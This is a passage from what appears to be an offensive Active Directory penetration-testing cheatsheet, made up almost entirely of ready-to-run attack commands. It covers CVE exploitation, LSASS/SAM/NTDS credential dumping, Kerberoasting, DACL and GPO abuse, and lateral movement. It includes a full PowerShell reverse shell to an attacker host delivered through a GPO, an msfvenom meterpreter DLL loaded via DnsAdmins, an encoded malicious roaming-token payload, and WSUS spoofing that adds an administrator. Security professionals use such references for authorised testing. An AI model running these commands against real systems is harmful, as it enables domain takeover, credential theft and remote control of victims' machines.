docker run --rm -ti -p 389:389 ldap-passback

In parallel, listen with tshark:

tshark -i any -f "port 389" \
  -Y "ldap.protocolOp == 0 && ldap.simple" \
  -e ldap.name -e ldap.simple -Tjson

CVEs

AD oriented

If the target is not patched, this CVE can be exploited without creds.

./petitpotam.py -pipe all <attacker_IP> <target_IP>

To exploit these vulnerabilities you need to already control a computer account or have the right to create a new one.

#Get ST
python3 noPac.py domain.local/user1:'password' -dc-ip <DC_IP>

#Auto dump the hash
python3 noPac.py domain.local/user1:'password' -dc-ip <DC_IP> --impersonate administrator -dump -just-dc-user domain/krbtgt

#Load a DLL hosted on a SMB server on the attacker machine
./printnightmare.py -dll '\\<attacker_IP>\smb\add_user.dll' 'user1:password@<target_IP>'

#Load a DLL hosted on the target, and specify a custom driver name
./printnightmare.py -dll 'C:\Windows\System32\spool\drivers\x64\3\old\1\add_user.dll' -name 'Patapouf' 'user1:password@<target_IP>'

The relay technique is preferable to the other one which is more risky and potentially destructive. See in the link.

The exploits in the Metasploit framework are good for these two CVEs.

#EternalBlue
msf6 exploit(windows/smb/ms17_010_psexec) >

#Blue Keep
msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) >

Be careful, this exploit is pretty unstable and the risk of BSOD is really important. The exploit in the Metasploit framework is good for this CVE.

msf6 exploit(windows/smb/cve_2020_0796_smbghost) >

To exploit this CVE the RC4-MD4 encryption must be enabled on the KDC, and an AS-REP Roastable account is needed to obtain an ST for the target.

./CVE-2022-33079.py -dc-ip <DC_IP> domain.local/<as-rep_roastable_user> <target_NETBIOS>

# Fetch current user object
$user = get-aduser <victim username> -properties @('msPKIDPAPIMasterKeys','msPKIAccountCredentials', 'msPKI-CredentialRoamingTokens','msPKIRoamingTimestamp')

# Install malicious Roaming Token (spawns calc.exe)
$malicious_hex = "25335c2e2e5c2e2e5c57696e646f77735c5374617274204d656e755c50726f6772616d735c537461727475705c6d616c6963696f75732e6261740000000000000000000000000000000000000000000000000000000000000000000000000000f0a1f04c9c1ad80100000000f52f696ec0f1d3b13e9d9d553adbb491ca6cc7a319000000406563686f206f66660d0a73746172742063616c632e657865"
$attribute_string = "B:$($malicious_hex.Length):${malicious_hex}:$($user.DistinguishedName)"
Set-ADUser -Identity $user -Add @{msPKIAccountCredentials=$attribute_string} -Verbose

# Set new msPKIRoamingTimestamp so the victim machine knows an update was pushed
$new_msPKIRoamingTimestamp = ($user.msPKIRoamingTimestamp[8..15] + [System.BitConverter]::GetBytes([datetime]::UtcNow.ToFileTime())) -as [byte[]]
Set-ADUser -Identity $user -Replace @{msPKIRoamingTimestamp=$new_msPKIRoamingTimestamp} -Verbose

To exploit this CVE, a controlled service account with constrained delegation to the target account is needed.

getST.py -force-forwardable -spn <cifs/target.domain.local> -impersonate Administrator -dc-ip <DC_IP> -hashes :<service_account_hash> domain.local/<service_account>

goldenPac.py 'domain.local'/'user1':'password'@<DC_IP>

Targeting Exchange server

The exploits in the Metasploit framework are good for these three CVEs.

msf6 exploit(windows/http/exchange_proxynotshell_rce) >
msf6 exploit(windows/http/exchange_proxyshell_rce) >
msf6 exploit(windows/http/exchange_proxylogon_rce) >

This CVE permits to leak the NTLM hash of the target as soon as the email arrives in his Outlook mail box. This PoC generates a .msg file containing the exploit in the pop-up sound attribute. It is up to you to send the email to the target.

python3 CVE-2023-23397.py --path '\\<attacker_IP>\'

Before sending the email, run Responder to intercept the NTLM hash.

For local privesc

Look at the Active Directory cheatsheet for this part.

Domain Enumeration

Domain policy

Current domain

#Domain policy with ldeep
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> domain_policy

#Password policy with NXC
nxc smb <targets> -u user1 -p password --pass-pol

Another domain

ldeep ldap -u user1 -p password -d domain.local -s <remote_LDAP_server_IP> domain_policy

Domain controller

The DNS is generally on the DC.

nslookup domain.local
nxc smb <DC_IP> -u user1 -p password

Users enumeration

List users

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> users

User's properties

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> users -v
nxc ldap <DC_IP> -u user1 -p password -M get-unixUserPassword -M getUserPassword

Search for a particular string in attributes

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> users -v |grep -i password

Actively logged users on a machine

Needs local admin rights on the target

nxc smb <target> -u user1 -p password --sessions

User hunting

Find machine where the user has admin privs

If a Pwned connection appears, admin rights are present. However, if the UAC is present it can block the detection.

nxc smb <targets_file> -u user1 -p password

Find local admins on a domain machine

lookupadmins.py

python3 lookupadmins.py domain.local/user1:password@<target_IP>

#NXC
nxc smb <targets> -u user1 -p password --local-groups Administrators

Computers enumeration

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> machines

#Full info
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> machines -v

#Hostname enumeration
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> computers
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> computers --resolve

Groups enumeration

Groups in the current domain

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> groups

#Full info
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> groups -v

Search for a particular string in attributes

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> groups -v |grep -i admin

All users in a specific group

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> membersof <group> -v

All groups of an user

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> memberships <user_account>

Local groups enumeration

nxc smb <target> -u user1 -p password --local-groups

Members of a local group

nxc smb <target> -u user1 -p password --local-groups <group>

Shares / Files

Find shares on the domain

nxc smb <targets> -u user1 -p password --shares

A module for searching network shares:spider_plus. Running the module without any options (on a /24, for example) will produce a JSON output for each server, containing a list of all files (and some info), but without their contents. Then grep on extensions (conf, ini...) or names (password .. ) to identify an interesting file to search:

nxc smb <targets> -u user1 -p password -M spider_plus

Then, when identifying a lot of interesting files, to speed up the search, dump this on the attacker machine by adding the -o READ_ONLY=False option after the -M spider_plus (but avoid /24, otherwise it'll take a long time). In this case, NetExec will create a folder with the machine's IP, and all the folders/files in it.

nxc smb <targets> -u user1 -p password -M spider_plus -o READ_ONLY=False

Manspider can also be used for this purpose. It permits to crawl all the shares or specific ones, and filter on file extensions, file names, and file contents.

# Filter on file names
manspider <targets> -f passw user admin account network login logon cred -d domain -u user1 -p password

# Search for content
manspider <targets> -c passw cpassword -d domain -u user1 -p password

# Search for file extension
manspider <targets> -e bat com vbs ps1 psd1 psm1 pem key rsa pub reg pfx cfg conf config vmdk vhd vdi dit -d domain -u user1 -p password

Parameters can be combined.

Find files with a specific pattern

nxc smb <targets> -u user1 -p password --spider <share_name> --content --pattern pass

Find files with sensitive data

Python version of Snaffler

pysnaffler 'smb2+ntlm-password://domain\user1:password@<target>' <target>

GPO enumeration

List of GPO in the domain

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> gpo

Organisation Units

OUs of the domain and their linked GPOs

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> ou

Computers within an OU

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> machines -v |grep -i "OU=<OU_name>" |grep -i "distinguishedName"

DACLs

All ACLs associated to an object (inbound)

#With samAccountName
dacledit.py -action read -target <target_samAccountName> -dc-ip <DC_IP> domain.local/user1:password

#With DN
dacledit.py -action read -target-dn <target_DN> -dc-ip <DC_IP> domain.local/user1:password

#With SID
dacledit.py -action read -target-sid <target_SID> -dc-ip <DC_IP> domain.local/user1:password

Outbound ACLs of an object

These are the rights a principal has against another object

dacledit.py -action read -target <target_samAccountName> -principal <principal_samAccountName> <-dc-ip <DC_IP> domain.local/user1:password

Trusts

Trusts for the current domain

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> trusts

BloodHound

The Bloodhound-python module doesn't support all the SharpHound features (essentially about GPOs)

DNS resolution

Sometimes the DNS resolution to find the DC doesn't work very well. dnschef can solve this problem:

dnschef --fakeip <DC_IP> --fakedomains domain.local -q

Then, in the BloodHound command specify the DNS address with -ns 127.0.0.1, dnschef will do the work.

Basic usage

# Default collection
bloodhound-python -u user1 -p password -d domain.local -dc DC.domain.local --zip

# All collection excepted LoggedOn
bloodhound-python -u user1 -p password -d domain.local -c all -dc DC.domain.local --zip
#With LoggedOn
bloodhound-python -u user1 -p password -d domain.local -c all,LoggedOn -dc DC.domain.local --zip

#Only collect from the DC, doesn't query the computers (more stealthy)
bloodhound-python -u user1 -p password -d domain.local -c DCOnly -dc DC.domain.local --zip

Specify another Global Catalog

bloodhound-python -u user1 -p password -d domain.local -dc DC.domain.local -gc <hostname> --zip

Interesting Neo4j queries

Users with SPNs

MATCH (u:User {hasspn:true}) RETURN u

AS-REP Roastable users

MATCH (u:User {dontrepreauth:true}) RETURN u

Computers AllowedToDelegate to other computers

MATCH (c:Computer), (t:Computer), p=((c)-[:AllowedToDelegate]->(t)) return p

Shortest path from Kerberoastable user

MATCH (u:User {hasspn:true}), (c:Computer), p=shortestPath((u)-[*1..]->(c)) RETURN p

Computers in Unconstrained Delegations

MATCH (c:Computer {unconsraineddelegation:true}) RETURN c

Rights against GPOs

MATCH (gr:Group), (gp:GPO), p=((gr)-[:GenericWrite]->(gp)) return p

Potential SQL Admins

MATCH p=(u:User)-[:SQLAdmin]->(c:Computer) return p

LAPS

Machine with LAPS enabled

MATCH (c:Computer {haslaps:true}) RETURN c

Users with read LAPS rights against "LAPS machines"

MATCH p=(g:Group)-[:ReaLAPSPassword]->(c:Computer) return p

SOAPHound

A tool to gather LDAP information through the ADWS service with SOAP queries instead of the LDAP one. Data can be displayed in BloodHound. This tool is presented in the Active Directory cheatsheet.

AD Miner

AD Miner is another solution to display BloodHound data into a web based GUI. It is usefull for its Smartest paths feature that permits to display the, sometimes longer, but simpler compromission path (for example, when the shortest path implies a ExecuteDCOM edge).

Lateral Movement

WinRM

evil-winrm -u user1 -p password -i <target_IP>

evil-winrm permits to open an interactive WinRM session where it is possible to upload and download items between the target and the attacker machine, load PowerShell scripts, etc.

SMB

From one computer to another one

psexec.py domain.local/user1:password@<target>

From one computer to many ones

nxc smb <targets> -u user1 -p password -X <command>

Execute immediat scheduled task

#As the session 0 (SYSTEM)
atexec.py domain.local/user1:password@<target> <command>

#As the user of another session on the machine
atexec.py -session-id <ID> domain.local/user1:password@<target> <command>

WMI

wmiexec.py domain.local/user1:password@<target>

ShellBrowserWindow DCOM object

dcomexec.py domain.local/user1:password@<target>

Credentials gathering

Check RunAsPPL

Check if RunAsPPL is enabled in the registry.

nxc smb <target> -u user1 -p password -M runasppl

Dump creds remotely

#Dump SAM database on a machine
nxc smb <target> -u user1 -p password --sam

#Dump LSA secrets on a machine
nxc smb <target> -u user1 -p password --lsa
    #In a PDF with LSA_reg2pdf, exec get_pdf, and get_bootkey on your host to parse the PDF
.\get_pdf.exe 1
python3 get_bootkey.py

#Dump through remote registry
reg.py -o \\<attacker_IP>\share domain.local/user1:password@<target> backup
reg.py domain.local/user1:password@<target> query -keyName 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon'

#Dump with an alternative method, regsecrets.py, more discreet
regsecrets.py domain.local/user1:password@target.domain.local

#Dump the lsass process and parse it
nxc smb <target> -u user1 -p password -M lsassy
nxc smb <target> -u user1 -p password -M nanodump
nxc smb <target> -u user1 -p password -M mimikatz
nxc smb <target> -u user1 -p password -M procdump

lsassy -u user1 -p password -d domain.local <target>

minidump domain.local/user1:password@dc.domain.local:/C$/Windows/Temp/lsass.dmp

#Retrieve Chrome passwords
nxc smb <target> -u user1 -p password -M enum_chrome

#Make a DCSync attack on all the users (NT hashes, Kerberos AES key, etc)
secretsdump.py domain.local/user1:password@<DC>
nxc smb <target> -u user1 -p password --ntds

#DCSync only the NT && LM hashes of a user
secretsdump.py -just-dc-user 'krbtgt' -just-dc-ntlm domain.local/user1:password@<DC>

#Retrieve NT hashes via Key List Attack on a RODC
    #Attempt to dump all the users' hashes even the ones in the Denied list
    #Low privileged credentials are needed in the command for the SAMR enumeration
keylistattack.py -rodcNo <krbtgt_number> -rodcKey <krbtgt_aes_key> -full domain.local/user1:password@RODC-server
    #Attempt to dump a specific user's hash
keylistattack.py -rodcNo <krbtgt_number> -rodcKey <krbtgt_aes_key> -t user1 -kdc RODC-server.domain.local LIST

#Certsync - retrieve the NT hashes of all the users with PKINIT
#Backup the private key and the certificate of the Root CA, and forge Golden Certificates for all the users
#Authenticate with all the certificate via PKINIT to obtain the TGTs and extract the hashes with UnPAC-The-Hash
certsync -u administrator -p 'password' -d domain.local -dc-ip <DC_IP>

    #Provide the CA .pfx if it has been obtained with another way
certsync -u administrator -p 'password' -d domain.local -dc-ip <DC_IP> -ca-pfx CA.pfx

Many techniques to dump LSASS : https://redteamrecipe.com/50-Methods-For-Dump-LSASS/

Extract creds locally

The SYSTEM hive is needed to retrieve the bootkey and decipher the DB files.

#Extract creds from SAM and SECURITY (LSA cached secrets)
secretsdump.py -system ./system.save -sam ./sam.save -security ./security.save LOCAL

#Extract creds from NTDS.dit
secretsdump.py -system ./system.save -ntds ./NTDS.save LOCAL

Read an LSASS dump with pypykatz:

pypykatz lsa --json minidump $i | jq 'first(.[]).logon_sessions | keys[] as $k | (.[$k] | .credman_creds)' | grep -v "\[\]" | grep -v "^\[" | grep -v "^\]"

Credentials Vault & DPAPI

Decipher Vault with Master Key

dpapi.py vault -vcrd <vault_file> -vpol <vault_policy_file> -key <master_key>

Dump all secrets on a remote machine

DonPAPI.py domain.local/user1:password@<target>

Extract the domain backup key with a Domain Admin

dpapi.py backupkeys --export -t domain.local/user1:password@<DC_IP>

Dump all user secrets with the backup key

DonPAPI.py -pvk domain_backupkey.pvk domain.local/user1:password@<targets>

GPPPassword & GPP Autologin

Find and decrypt Group Policy Preferences passwords.

Get-GPPPassword.py domain.local/user1:password@<target>
    #Specific share
Get-GPPPassword.py -share <share> domain.local/user1:password@<target>

#GPP autologin
nxc smb <target> -u user1 -p password -M gpp_autologin

Credentials in third-party softwares

Many applications present on a computer can store credentials, like KeePass, KeePassXC, mstsc and so on.

python3 client/ThievingFox.py poison --all domain.local/user1:password@<target>
python3 client/ThievingFox.py collect --all domain.local/user1:password@<target>
python3 client/ThievingFox.py cleanup --all domain.local/user1:password@<target>

Force a NTLM authentication from a connected user

This attack weaponize DCOM objects to perform actions on behalf of an interactively connected user. Can be mixed with the NTLM downgrade or WebClient attacks to obtain NTLMv1 or HTTP authentication. Explains here.

#With NTLM downgrade
RemoteMonologue.py domain/user1:password@target -auth-to <attacker_IP> -downgrade

#With WebClient and an alternative DCOM object
RemoteMonologue.py domain/user1:password@target -auth-to <attacker_netbios@80> -webclient -dcom FileSystemImage

Pass the Challenge

This technique permits to retrieve the NT hashes from a LSASS dump when Credential Guard is in place. This modified version of Pypykatz must be used to parse the LDAP dump. Full explains here.

This attack is presented in the Active Directory cheatsheet.

Token manipulation

Token impersonation with command execution and user addition

Blog here.

nxc smb -u user1 -p password -M impersonate -o MODULE=list

 nxc smb -u user1 -p password -M impersonate -o MODULE=adduser TOKEN=<token_id> CMD="user2 password 'Domain Admins' \\dc.domain.local"

 nxc smb -u user1 -p password -M impersonate -o MODULE=exec TOKEN=<token_id> CMD=<command>

Look at the Active Directory cheatsheet for other solutions.

Tokens and ADCS

With administrative access to a (or multiple) computer, it is possible to retrieve the different process tokens, impersonate them and request CSRs and PEM certificate for the impersonated users.

masky -d domain.local -u user1 -p <password> -dc-ip <DC_IP> -ca <CA_server_FQDN\CA_name> -o <result_folder> <targets>

Pass The Hash

Globally, all the Impacket tools and the ones that use the library can authenticate via Pass The Hash with the -hashes command line parameter instead of specifying the password. For ldeep, NetExec and evil-winrm, it's -H.

Over Pass The Hash / Pass The Key

Globally, all the Impacket tools and the ones that use the library can authenticate via Pass The Key with the -aesKey command line parameter instead of specifying the password. For NetExec it's --aesKey.

Kerberos authentication

Request a TGT or a ST

getTGT.py -dc-ip <DC_IP> domain.local/user1:password

getST.py -spn "cifs/target.domain.local" -dc-ip <DC_IP> domain.local/user1:password

Use the tickets

Load a kerberos ticket in .ccache format : export KRB5CCNAME=./ticket.ccache

Globally, all the Impacket tools and the ones that use the library can authenticate via Kerberos with the -k -no-pass command line parameter instead of specifying the password. For ldeep it's -k.

For NetExec it is -k with credentials to perform the whole Kerberos process and authenticate with the ticket. If a .ccache ticket is already in memory, it is -k --use-kcache.

For evil-winrm it's -r <domain> --spn <SPN_prefix> (default 'HTTP'). The realm must be specified in the file /etc/krb5.conf using this format -> CONTOSO.COM = { kdc = fooserver.contoso.com }

If the Kerberos ticket is in .kirbi format it can be converted like this:

ticketConverter.py ticket.kirbi ticket.ccache

ADIDNS poisoning

How to deal with the Active Directory Integrated DNS and redirect the NTLM authentications to us

If the wilcard record (*) doesn't exist, we can create it and all the authentications will arrive on our listener, except if the WPAD configuration specifically blocks it.

Wildcard attack

The char * can't be added via DNS protocol because it will break the request. Since we are in an AD we can modify the DNS via LDAP:

# Check if the '*' record exist
python3 dnstool.py -u "domain.local\user1" -p "password" -a query -r "*" <DNS_IP>

# creates a wildcard record
python3 dnstool.py -u "domain.local\user1" -p "password" -a add -r "*" -d <attacker_IP> <DNS_IP>

# disable a node
python3 dnstool.py -u "domain.local\user1" -p "password" -a remove -r "*" <DNS_IP>

# remove a node
python3 dnstool.py -u "domain.local\user1" -p "password" -a ldapdelete -r "*" <DNS_IP>

Feature abuse

SCCM / MECM - PXE boot

Check the dedicated page.

WSUS

Spoof the WSUS server and hijack the update if the updates are pushed through HTTP and not HTTPS

#Find the WSUS server with the REG key
reg.py -dc-ip <DC_IP> 'domain.local'/'user1':'password'@server.domain.local query -keyName 'HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v wuserver'

#Setup the fake WSUS server
python3.exe pywsus.py --host <network_interface> --port 8530 --executable ./PsExec64.exe --command '/accepteula /s cmd.exe /c "net user usser1 Password123! /add && net localgroup Administrators user1 /add"'

And ARP spoofing with bettercap and a wsus_spoofing.cap like this:

# quick recon of the network
net.probe on

# set the ARP spoofing
set arp.spoof.targets $client_ip
set arp.spoof.internal false
set arp.spoof.fullduplex false

# reroute traffic aimed at the WSUS server
set any.proxy.iface $interface
set any.proxy.protocol TCP
set any.proxy.src_address $WSUS_server_ip
set any.proxy.src_port 8530
set any.proxy.dst_address $attacker_ip
set any.proxy.dst_port 8530

# control logging and verbosity
events.ignore endpoint
events.ignore net.sniff

# start the modules
any.proxy on
arp.spoof on
net.sniff on

bettercap --iface <network_interface> --caplet wsus_spoofing.cap

Now wait for update verification or manually trigger with a GUI access on the machine.

Pre-Windows 2000 Computers

Everything is explained here.

Domain Privesc

Kerberoast

The Kerberos service ticket (ST) has a server portion which is encrypted with the password hash of service account. This makes it possible to request a ticket and do offline password attack. Password hashes of service accounts could be used to create Silver Tickets.

Find user with SPN

GetUserSPNs.py -dc-ip <DC_IP> domain.local/user1:password

#In another domain through trust
GetUserSPNs.py -dc-ip <DC_IP> -target-domain <target_domain> domain.local/user1:password

Request in JtR/Hashcat format

GetUserSPNs.py -dc-ip <DC_IP> -request -outputfile hash.txt domain.local/user1:password

Force RC4 downgrade even on AES enabled targets to obtain tickets more easy to crack:

pypykatz kerberos spnroast -d domain.local -t <target_user> -e 23 'kerberos+password://domain.local\user1:password@<DC_IP>'

Crack the hash

john hash.txt --wordlist=./rockyou.txt

hashcat -m 13100 -a 0 hash.txt rockyou.txt

Kerberoast with DES

This attack is presented in the Active Directory cheatsheet.

Kerberoast w/o creds

Without pre-authentication

If a principal can authent without pre-authentication (like AS-REP Roasting), it is possible to use it to launch an AS-REQ request (for a TGT) and trick the request to ask for a ST instead for a kerberoastable principal, by modifying the sname attribut in the req-body part of the request. Full explains here.

This PR must be used for the moment.

GetUserSPNs.py -no-preauth <user_w/o_preauth> -usersfile "users.txt" -dc-host <DC_IP> "domain.local"/

With MitM

If no principal without pre-authentication are present, it is still possible to intercept the AS-REQ requests on the wire (with ARP spoofing for example), and replay them to kerberoast.

ritm -i <attacker_IP> -t <target_IP> -g <gateway_to_spoof> -u users.txt

AS-REP Roasting

Enumerate users

GetNPUsers.py -dc-ip <DC_IP> domain.local/user1:password

Request AS-REP

GetNPUsers.py -dc-ip <DC_IP> -request -format john domain.local/user1:password

It is possible to force DES, if it is allowed. Look at the Active Directory cheatsheet.

Crack the hash

With john or hashcat it could be performed

DACLs attacks

DACLs packages

On any objects

WriteOwner

With this rights on a user it is possible to become the "owner" (Grant Ownership) of the account and then change our ACLs against it

owneredit.py -new-owner user1 -target user2 -dc-ip <DC_IP> -action write 'domain.local'/'user1':'password'
dacledit.py -action write -target user2 -principal user1 -rights ResetPassword -ace-type allowed -dc-ip <DC_IP> 'domain.local'/'user1':'password'

#And change the password
net rpc password user2 -U 'domain.local'/'user1'%'password' -S DC.domain.local
WriteDacl

With this rights we can modify our ACLs against the target, and give us GenericAll for example

dacledit.py -action write -target user2 -principal user1 -rights FullControl -ace-type allowed -dc-ip <DC_IP> 'domain.local'/'user1':'password'

In case where you have the right against a container or an OU, it is possible to setup the Inheritance flag in the ACE. The child objects will inherite the parent container/OU ACE (except if the object has AdminCount=1)

dacledit.py -inheritance -action write -target 'CN=Users,DC=domain,DC=local' -principal user1 -rights FullControl -ace-type allowed -dc-ip <DC_IP> 'domain.local'/'user1':'password'

On an user

WriteProperty
pywhisker.py -t user2 -a add -u user1 -p password -d domain.local -dc-ip <DC_IP> --filename user2

We can then request a ST without special privileges. The ST can then be "Kerberoasted".

GetUserSPNs.py -request-user user2 -dc-ip <DC_IP> domain.local/user1:password

New SPN must be unique in the domain

#Set SPN on all the possible users, request the ticket and delete the SPN
targetedKerberoast.py -u user1 -p password -d domain.local --only-abuse
User-Force-Change-Password

With enough permissions on a user, we can change his password

net rpc password user2 -U 'domain.local'/'user1'%'password' -S DC.domain.local

On a computer

WriteProperty
pywhisker.py -t computer$ -a add -u user1 -p password -d domain.local -dc-ip <DC_IP> --filename user2
AllExtendedRights
nxc ldap <DC_IP> -u user1 -p password -M laps -o computer="<target>"

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> gmsa

On a RODC

GenericWrite

Change the managedBy attribute value and add a controlled user. He will automatically gain admin rights.

It is possible to modify the msDS-NeverRevealGroup and msDS-RevealOnDemandGroup lists on the RODC to allow Tiers 0 accounts to authenticate, and then forge RODC Golden Tickets for them to access other parts of the AD.

powerview domain.local/user1:Password123@RODC-server.domain.local

#First, add a domain admin account to the msDS-RevealOnDemandGroup attribute
#Then, append the Allowed RODC Password Replication Group group
PV > Set-DomainObject -Identity RODC-server$ -Set msDS-RevealOnDemandGroup='CN=Administrator,CN=Users,DC=domain,DC=local'
PV > Set-DomainObject -Identity RODC-server$ -Append msDS-RevealOnDemandGroup='CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local'

#If needed, remove the admin from the msDS-NeverRevealGroup attribute
PV > Set-DomainObject -Identity RODC-server$ -Clear msDS-NeverRevealGroup
WriteProperty

WriteProperty on the msDS-NeverRevealGroup and msDS-RevealOnDemandGroup lists is sufficient to modify them. Obtain the krbtgt_XXXXX key is still needed to forge RODC Golden Ticket.

powerview domain.local/user1:Password123@RODC-server.domain.local

#First, add a domain admin account to the msDS-RevealOnDemandGroup attribute
#Then, append the Allowed RODC Password Replication Group group
PV > Set-DomainObject -Identity RODC-server$ -Set msDS-RevealOnDemandGroup='CN=Administrator,CN=Users,DC=domain,DC=local'
PV > Set-DomainObject -Identity RODC-server$ -Append msDS-RevealOnDemandGroup='CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local'

#If needed, remove the admin from the msDS-NeverRevealGroup attribute
PV > Set-DomainObject -Identity RODC-server$ -Clear msDS-NeverRevealGroup

On a group

WriteProperty/AllExtendedRights/GenericWrite Self

With one of this rights we can add a new member to the group

net rpc group addmem <group> user2 -U domain.local/user1%password -S <DC_IP>

On a GPO

WriteProperty on a GPO
./pygpoabuse.py domain.local/user1 -hashes lm:nt -gpo-id "<GPO_ID>" -powershell -command "\$client = New-Object System.Net.Sockets.TCPClient('attacker_IP',1234);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()" -taskname "The task" -description "Important task" -user

./pygpoabuse.py domain.local/user1 -hashes lm:nt -gpo-id "<GPO_ID>"
Manage Group Policy Links

Whith this right or GenericWrite on a GPO we can manipulate its gPLink attribute in order to apply an evil GPO to all the children of a descendant OU, even the ones with adminCount=1.

All the explains about this attack are presented here. The attack will defer if the final target is a user or a machine account.

Machine
Reset-ComputerMachinePassword

lsassy -d 'evil.domain.local' -u administrator -p password <evil_DC_IP>

python3 addcomputer_LDAP_spn.py -computer-name EVIL -computer-pass <DC_PASS> 'domain.local'/user1:password

python3 dnstool.py -u 'domain.local\user1' -p password -r 'evil' -a add -d <attacker_IP> <DC_IP>

sudo python3 OUned.py --config config.ini
User
New-SmbShare -Name "evil" -Path "C:\Evil"
Grant-SmbShareAccess -Name "evil" -AccountName "DOMAIN.LOCAL\administrator" -AccessRight Full

python3 addcomputer.py -method LDAPS -computer-name EVIL2 -computer-pass <DC2_PASS> 'domain.local'/user1:password
python3 dnstool.py -u 'domain.local\user1' -p password -r 'evil2' -a add -d <attacker_IP> <DC_IP>

sudo python3 OUned.py --config config.ini

On an OU

GenericWrite

With at least GenericWrite on an OU, it it possible to perform the same attacks presented in the GPO section with Manage Group Policy Links.

Create msDS-DelegatedManagedServiceAccount or Create all child objects

This is the BadSuccessor attack, presented in great details here. At least one Domain Controller must be a Windows Server 2025 to perform this attack (this permits to work with dMSA accounts).

# Find users with sufficient privileges on OUs with NetExec
nxc ldap <DC_IP> -u user1 -p password -M badsuccessor

# Enumerate and exploit with BadSuccessor.py
	# Enumerate schema
python3 badsuccessor.py -u user1 -p password -d domain.local --check-schema
	# Find ALL writable OUs with detailed permissions
python3 badsuccessor.py -u user1 -p password -d domain.local --enumerate
	# Attack with Administrator privs inheritance
python3 badsuccessor.py -u user1 -p password -d domain.local --attack --target Administrator --ou-dn <OU_DN> --dmsa-description "Pentest"
	# Extract credentials from the tickets' key package
python3 badsuccessor.py -u user1 -p password -d domain.local  --extract-creds --targets Administrator,krbtgt,svc_sql

On the domain/forest

DS-Replication-Get-Changes + DS-Replication-Get-Changes-All

We can DCSync

DS-Replication-Get-Changes + DS-Replication-Get-Changes-In-Filtered-Set

It is possible to realize a DirSync attack, as presented here. This attack is presented in the Active Directory cheatsheet.

Account Operators

The members of this group can add and modify all the non admin users and groups. Since LAPS ADM and LAPS READ are considered as non admin groups, it's possible to add an user to them, and read the LAPS admin password. They also can manage the Server Operators group members which can authenticate on the DC.

Add user to LAPS groups

net rpc group addmem 'LAPS ADM' user2 -U domain.local/user1%password -S <DC_IP>
net rpc group addmem 'LAPS READ' user2 -U domain.local/user1%password -S <DC_IP>

Read LAPS password

nxc ldap <DC_IP> -u user2 -p password -M laps -o computer="<target>"

DnsAdmins

#Generate the DLL
msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker_IP> LPORT=1234 -f dll > rev.dll

#On the DNS machine, modify the server conf
nxc smb <target> -u user1 -p password -X "dnscmd.exe /config /serverlevelplugindll \\<share_SMB>\rev.dll"

#### Restart DNS
services.py 'domain.local'/'user1':'password'@<DNS_server> stop dns
services.py 'domain.local'/'user1':'password'@<DNS_server> start dns

Schema Admins

These group members can change the "schema" of the AD. It means they can change the ACLs on the objects that will be created IN THE FUTUR. If we modify the ALCs on the group object, only the futur group will be affected, not the ones that are already present.

This attack is presented in the Active Directory cheatsheet.

Backup Operators

Can generally log in on any machines of the domain.

File system backup

Can backup the entire file system of a machine (DC included) and have full read/write rights on the backup.

To backup a folder content:

nxc smb <target> -u user1 -p password -X "robocopy /B C:\Users\Administrator\Desktop\ C:\tmp\tmp.txt /E"

To backup with Diskshadow + Robocopy:

set verbose onX
set metadata C:\Windows\Temp\meta.cabX
set context clientaccessibleX
set context persistentX
begin backupX
add volume C: alias cdriveX
createX
expose %cdrive% E:X
end backupX

Registry read rights

The Backup Operators can read all the machines registry

reg.py -dc-ip <DC_IP> 'domain.local'/'backup$':'Password123'@server.domain.local query -keyName 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon'

#Backup the SAM, SECURITY and SYSTEM registry keys
reg.py -dc-ip <DC_IP> 'domain.local'/'backup$':'Password123'@server.domain.local backup -o \\<attacker_IP>\share

GPOs read/write rights

Normally the Backup Operators can read and rights all the domain and DC GPOs with robocopy in backup mode

nxc smb <target> -u user1 -p password -X 'robocopy "C:\tmp" "\\dc.domain.local\SYSVOL\domain.local\Policies\{GPO_ID}\MACHINE\Microsoft\Windows NT\SecEdit" GptTmpl.inf /ZB'

Key Admins

Members of this group can perform Shadow Credentials attacks against any objects, including the domain controllers.

AD Recycle Bin

Members of this group can recover deleted objects from the Active Directory, just like in a recycle bin for files, when the feature is enabled. These objects can sometimes have interesting properties.

This attacke is presented in the Active Directory cheatsheet.

Authentication capture, coerce and relay

Capture, coerce and leak

Different ways to obtain and catch NTLM authentications and retrieve a NTLM response.

Responder

Change the authentication challenge to 1122334455667788 in the Responder conf file in order to obtain an easily crackable hash if NTLMv1 is used.

